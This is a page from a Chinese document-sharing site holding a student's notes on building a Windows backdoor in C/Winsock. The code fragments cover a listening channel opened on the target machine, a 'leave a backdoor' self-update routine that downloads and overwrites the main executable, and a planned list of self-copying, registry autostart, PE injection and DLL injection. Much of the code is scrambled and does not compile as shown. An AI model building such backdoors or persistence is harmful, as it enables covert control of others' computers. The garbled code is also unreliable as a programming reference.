windows后门程序的心得与小技巧_windows使用小技巧

其他心得体会 时间:2020-02-27 14:25:46 收藏本文下载本文
【www.daodoc.com - 其他心得体会】

windows后门程序的心得与小技巧由刀豆文库小编整理,希望给你工作、学习、生活带来方便,猜你可能喜欢“windows使用小技巧”。

windows后门程序

目录

一.具体实现(已完成)

1.2.3.4.5.对话匡界面

弹框

按钮………………………………………………..2 窗口间消息…………………………………………………………………......2 编辑框:没有id?……………………………………………………………2 窗口重绘必须立即完成:……………………………………………………….2 创建线程(beginthreadex为何未定义?)…………………………………………2

6.c/s聊天……………………………………………………………………3 7.获取本机ip…………………………………………………………………7 8.9.向本机自动更新

(留后门)………………………………………………8 域名转换函数………………………………………………………、……12 10.去除http协议响应头…………………………………………………12

二.未完成…………………………………………………………….13 三.心得体会…………………………………………………………..14  套接字收发整形数据C库函数与windows函数,.代码量与可移植性

 套接字接收缓冲区应该大一些? .套接字接收绑定  自动补充路径

 域名转换ip

一. 已完成1.对话匡界面

弹框

按钮

hbut2=CreateWindow(TEXT(“edit”),NULL,WS_CHILD|WS_VISIBLE|WS_BORDER|BS_TEXT,10,30,100,25,hwnd,(HMENU)3,hinst,NULL);hbut3=CreateWindow((“button”),(“

送”),WS_CHILD|WS_VISIBLE|BS_PUSHBUTTON,300,300,100,30,hwnd,(HMENU)2,hinst,NULL);

2.窗口间消息

SendMeage(hwnd,WM_PAINT,wparam,lparam);3.编辑框:没有id?

GetWindowText(hbut2,str_buf,10);得到文本 //GetDlgItemText(hbut2,3,str_buf,10);得到空?

4.窗口重绘必须立即完成:

UpdateWindow(hwnd);InvalidateRect(hwnd,NULL,TRUE);5.创建线程(beginthreadex为何未定义?)

int WINAPI threadproc(sock_block* dwtherdparam){ } HANDLE initthread(sock_block* dwtherdparam){

DWORD threadid;//_beginthreadex???未定义????? dwtherdparam->dwrd=NULL;dwtherdparam->addr=“192.168.127.0”;dwtherdparam->honst=NULL;HANDLE h_thread=(HANDLE)CreateThread(NULL, 0,(LPTHREAD_START_ROUTINE)threadproc,(void*)dwtherdparam, 0, &threadid);return 0;return h_thread;} 6.c/s聊天

通过将目标机设置能服务器,本地机设置成客户端来实现,具体是目标创建线程,来开放端口 监听套接字,(将目标设置成服务器是因为 服务器可以长时间运行 能够满足客户端随机登陆的要求 并且性能消耗不大)。

服务器用两个并行线程来实现发送与接收,发送被设置在了窗口主线程内,接收则与监听等都在新线程内。

窗口通过按钮触发发送,接收则通过selsect()阻塞/唤醒机制实现异步。

通过这个功能,得到一些结论,一个进程能不同线程间通信等需要很多全局变量,这些变量能够被不同线程使用,不过这使得线程间通信的唯一一个指针变量变得奇怪(多余),可能当线程间通信内容与线程复杂度不同时,这个指针变得更方便些。

问题:将目标设置成服务器不能得到目标的ip,与本客户端不能建立连接(难道要再加一个本地服务器端

通过目标客户端发送ip?)

线程函数的写法:

int WINAPI threadproc(sock_block* dwtherdparam){

WSADATA wsaData;SOCKADDR_IN seraddr,cliaddr;ULONG sockmode;int sockok,totalsock=0;int i=0,j=0;struct fd_set fdwrite,fdread;//char buf[10],buf0[10];sock_buf a,flag;a.a=new char[50];flag.a=new char[50];int buflen=sizeof(flag.a);//int BUFLEN =sizeof(buf);int addrlen=sizeof(seraddr);int cliaddrlen=sizeof(cliaddr);//long code;int b=0,k,l,m;char *temp=new char[50];//本想用于循环接收暂存的但是接收缓存变大即可 seraddr.sin_family=AF_INET;seraddr.sin_port=htons((short)dwtherdparam->honst);//seraddr.sin_addr.s_addr=inet_addr(“127.0.0.1”);seraddr.sin_addr.s_addr=inet_addr(dwtherdparam->addr);if(WSAStartup(MAKEWORD(2,0), &wsaData)!= 0){

} if((listensocket=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)printf(“error1”);return-1;

{

} if(SOCKET_ERROR==bind(listensocket,(SOCKADDR*)&seraddr,addrlen)){

}

if(SOCKET_ERROR==listen(listensocket,5)){

} printf(“wait ask”);sockmode=1;

if(SOCKET_ERROR==ioctlsocket(listensocket,FIONBIO,&sockmode)){

} printf(“error on ioctl”);return-1;printf(“error4”);return-1;printf(“error3”);return-1;printf(“error2”);return-1;

while(1){

FD_ZERO(&fdread);FD_ZERO(&fdwrite);FD_SET(listensocket,&fdread);

for(i=0;(i

}

if(SOCKET_ERROR==(sockok=select(NULL,&fdread,NULL,NULL,NULL))){

}

if(FD_ISSET(listensocket,&fdread)){ sockok--;printf(“error on select”);return-1;FD_SET(tempsocket,&fdread);FD_SET(tempsocket,&fdwrite);

}

if(INVALID_SOCKET==(newconnection=accept(listensocket,(SOCKADDR*)&cliaddr,&cliaddrlen))){

} else {

}

if(SOCKET_ERROR==ioctlsocket(newconnection,FIONBIO,&sockmode)){

}

printf(“error on ioctl”);return-1;

tempsocket=newconnection;dwtherdparam->cin_flag=1;printf(“come”);totalsock++;

printf(“error5”);return-1;

if(FD_ISSET(newconnection,&fdread)){ memset(flag.a,0,buflen);memset(temp,0,buflen);

dwtherdparam->strin='';

for(k=0 ,l=0,j=0;(j=recv(newconnection,flag.a,buflen,0))>0;){

if(j

{ //

} for(k+=j,m=0;l

printf(“error on recv long”);return-1;break;

}

} {

temp[l]=flag.a[m];temp[l+1]='';}

}

dwtherdparam->strin=temp;

UpdateWindow(hwnd);

InvalidateRect(hwnd,NULL,TRUE);memset(flag.a,0,buflen);if(FD_ISSET(newconnection,&fdwrite)){

sockok--;if(dwtherdparam->cin_flag){

}

a.a=dwtherdparam->strout;

if((b=send(newconnection,a.a,buflen,0))

}

printf(“error on send”);return-1;} }

closesocket(listensocket);closesocket(newconnection);closesocket(tempsocket);WSACleanup();return 0;HANDLE initthread(sock_block* dwtherdparam){ DWORD threadid;//_beginthreadex???未定义?????

dwtherdparam->addr=“127.0.0.1”;dwtherdparam->honst=8889;dwtherdparam->cin_flag=0;HANDLE h_thread=(HANDLE)CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)threadproc,(void*)dwtherdparam,0,&threadid);return h_thread;}

7.获取本机ip

char name[255];//用于存放主机名 PHOSTENT hostinfo;

if(gethostname(name, sizeof(name))== 0)

{

//判断是否成功的将本地主机名存放入由name参数指定的缓冲区中

if((hostinfo = gethostbyname(name))!= NULL)

{

//如果获得主机名成功的话,调用inet_ntoa()函数取得IP地址

LPCSTR ip = inet_ntoa(*(struct in_addr *)*hostinfo->h_addr_list);

printf(“本机的IP地址是:%sn”,ip);//输出IP地址

printf(“本机的名称是:%sn”,name);

} }

8.向本机自动更新

(留后门)

发送询问

得到版本号 与文件大小(得到这个文件大小不一定会用到 但是 为了后面下载主文件更顺利,这点牺牲是值得的)比对之后决定更新 发送更新请求 接收文件

int chack_update(SOCKET &scon,FILE *&fp_file_info,char*& bufout,NEW_FILE_INFO &new_file_info){

当不需更新时会浪费,} //send 询问 //接收版本号 // 对比

float host_v=0;new_file_info.new_version=0;if((fp_file_info=fopen(FILE_INFO_PATH,“rb+”))

} if(fscanf(fp_file_info,“%f”,&host_v)

}

bufout=“q”;if(send(scon,bufout,1,0)==SOCKET_ERROR){

} if(recv(scon,new_file_info.buf,BUFLEN,0)==SOCKET_ERROR){

} MeageBox(hwnd,“update error”,ERROR,MB_OK);return-1;MeageBox(hwnd,“update error”,ERROR,MB_OK);return-1;MeageBox(hwnd,“update error at read file”,ERROR,MB_OK);return-1;MeageBox(hwnd,“update error at open file”,ERROR,MB_OK);return-1;if((host_v)&&(new_file_info.new_version==host_v)){ } else return 0;return 1;int update_(SOCKET &scon,FILE *& fp_file_info,FILE *&fp_main_file,char*& bufout,char *&bufin,NEW_FILE_INFO &new_file_info){

// 更新版本信息文件ini //send请求下载 // // // recv copY文件替换旧的write日志(包括时间

版本 备注 短短几句话)

} int end_update_(SOCKET &scon,FILE *&fp_file_info,FILE *&fp_main_file,char*& bufin){

__try

{

if(fp_file_info){ fclose(fp_file_info);bufin=new char[new_file_info.new_file_len];

memset(bufin,0,new_file_info.new_file_len);//初始化缓冲区 bufout=“g”;//get main

if(send(scon,bufout,1,0)==SOCKET_ERROR){

} MeageBox(hwnd,“update error at send g”,ERROR,MB_OK);return-1;if(!(fp_main_file=fopen(FILE_MAIN_PATH,“wb+”)))

//打开已有或创建一个二进制文件 {

} MeageBox(hwnd,“update error at open main file”,ERROR,MB_OK);return-1;if(recv(scon,bufin,new_file_info.new_file_len,0)==SOCKET_ERROR)//接收主文件 {

} MeageBox(hwnd,“update error at recv main file”,ERROR,MB_OK);return-1;if(fwrite(bufin,new_file_info.new_file_len,1,fp_main_file)

} rewind(fp_file_info);if(fprintf(fp_file_info,“%f”,new_file_info.new_version)

} return 0;MeageBox(hwnd,“update error at write main file”,ERROR,MB_OK);return-1;MeageBox(hwnd,“update error at write main file”,ERROR,MB_OK);return-1;

}

} } if(fp_main_file){ } if(scon){

} if(bufin){ } delete(bufin);closesocket(scon);WSACleanup();fclose(fp_main_file);__finally { } return 0;return-1;int update_main(){

if(initsock(scon)!=0){

} p2=“正在初始化”;UpdateWindow(hwnd);InvalidateRect(hwnd,NULL,TRUE);int n=0;if((n=chack_update(scon,fp_file_info,bufout,new_file_info))==0)MeageBox(hwnd,“更新初始化失败”,“门”,MB_OK);return-1;SOCKET scon;FILE *fp_file_info,*fp_main_file;fp_file_info=fp_main_file='';char *bufin='',*bufout='';NEW_FILE_INFO new_file_info;

} { p2=“需要更新”;UpdateWindow(hwnd);InvalidateRect(hwnd,NULL,TRUE);

}

else if(n==1){

end_update_(scon,fp_file_info,fp_main_file,bufin);MeageBox(hwnd,“已经最新了2b”,“2b啊”,MB_OK);p2=“完~”;UpdateWindow(hwnd);if(update_(scon,fp_file_info,fp_main_file,bufout,bufin,new_file_info)==0)

else {

} end_update_(scon,fp_file_info,fp_main_file,bufin);MeageBox(hwnd,“更新失败,请检查网络”,“门”,MB_OK);return-1;

MeageBox(hwnd,“更新成功”,“门”,MB_OK);InvalidateRect(hwnd,NULL,TRUE);} else {

} if(end_update_(scon,fp_file_info,fp_main_file,bufin)!=0){

} return 0;

return-1;end_update_(scon,fp_file_info,fp_main_file,bufin);return-1;return-1;9.域名转换函数

HOSTENT *remot;

remot= gethostbyname(“img.ivsky.com”);//获得域名的ip if(remot==NULL){ DWORD er=GetLastError();

} return-1;in_addr pttr;memcpy(&pttr,remot->h_addr_list[0],4);//复制域名转换得到的ip到新定义的地址变量中,这是不可或char *ip=inet_ntoa(pttr);

//将存储顺序修改为net 缺的,因为可读性好,且正确

addr.sin_addr.s_addr = inet_addr(ip);// 填充ip地址

10.去除http协议响应头

int delete_http_header(SOCKET s,char *strBuffer,int &body_lenght)

{ //返回当前文件主体的位置

for(int break_flag=0;break_flag==0;){

// //去除http响应头部

strset(strBuffer,'');

//

int iResult = recv(s,strBuffer,BUFLENGHT,0);if(iResult

} for(int i=0;(i

if(strBuffer[i]=='C'){

} if(end_flag==4){ return } if((strBuffer[i]=='r')||(strBuffer[i]=='n')){

i;if(strBuffer[i+9]=='e'){ }

body_lenght=atoi(&strBuffer[i+15]);

iResult=GetLastError();break;iResult = recv(s,status,sizeof(status),0);int end_flag=0;//头结束

}

}

}

} end_flag++;continue;

end_flag=0;二.未完成复制自身

后修改注册表自启动

融合(聊天,更新,查ip,窗口间通信)

Pe文件注入代码,(需要汇编??内存映射文件??)pe文件有效性

dll注入

弹窗聊天(完成端口?俩线程?多个客户端连接??)

Strcpy? 三.心得

 套接字收发整形数据的时候,因为缓冲区是char*型,所以可以用一个联合体来解决。

 union{  char a[sizeof[int]]; int b; }  C库函数与windows函数, 考虑到今后移植linux系统,尽管windows系统函数在windows中运行效率更高,但是权衡之后还是尽量采用c库函数(例如文件操作)

.代码量与可移植性

 在这几个小程序中,因为是探索未知性的编写,所以对可移植性与可读性的要求不高,增加可移植性会相应增加代码量,这不是这几个小程序应该做的,当将这些技术掌握成熟的时候,会再积累可移植代码的。

 套接字接收缓冲区应该大一些?

 曾经接收的缓冲区是固定的且不很大,那么接收大文件的时候就要循环接收多次,每次都写文件,直到文件接收完全。 那么提前得知文件大小,将缓冲区直接设置成文件大小呢?只需写一次文件就可以了,能否提高效率并且保证安全性(文件太大 丢包 写入错误等) 这也是为了降低代码量与复杂度。。

.套接字接收绑定

bind可以在同一个ip下绑定多个端口 互不影响。 自动补充路径

 系统编译的时候就需要进行字符串的检查

发现 ’ ’ 则检查后面一位字符,当不是特定字符的时候,编译不能通过,所以不必也不能用程序来补充路径。

 域名转换ip

域名直接使用”www.xxx.xx”就可以,不必也不能写http://www.xx.xx/;

Ginwui后门程序分析

Ginwui后门程序分析(精选8篇)由网友“你滴岛岛”投稿提供,以下文章小编为您整理的Ginwui后门程序分析,供大家阅读。篇1:Ginwui后门程序分析 今年5月19日CVE发布编号为CVE--2492安......

Windows系统安全技巧

Window系统安全技巧系统光盘个人比较喜欢使用雨林木风安装版或者GHOST版,纯净无插件,破解和优化得都比较好。使用电脑公司装机版也可以,番茄花园以前做得不错,现在的版本插件比......

淘宝购物心得与技巧

淘宝刚开张我就在那儿注册了,等到有了支付宝,我才开始在淘宝购物,并迷上了网络购物。因为淘宝,我几乎不逛商场,很多商场销售的商品都差不多,甚至完全一样,根本没有特色。逛街购物又......

铲货心得与技巧

铲货心得与技巧记得老刘曾经在某个贴子中说过,手里所收藏之物,皆由县乡村一线铲货得来。从来没从大中城市古玩市场买过东西。雅昌论坛上有不少铲子,但是老刘这个铲子和他们不同......

Windows程序课程设计报告

window程序课程设计简单的学生信息 管理应用程序学生姓名: 韩 慧 学生学号: 031140312 班 级: 031140--3二〇一三年十二月 简单的学生信息管理应用程序一、设计目的、内容及要......

下载windows后门程序的心得与小技巧word格式文档
下载windows后门程序的心得与小技巧.doc
将本文档下载到自己电脑,方便修改和收藏。
点此处下载文档

文档为doc格式

热门文章
点击下载本文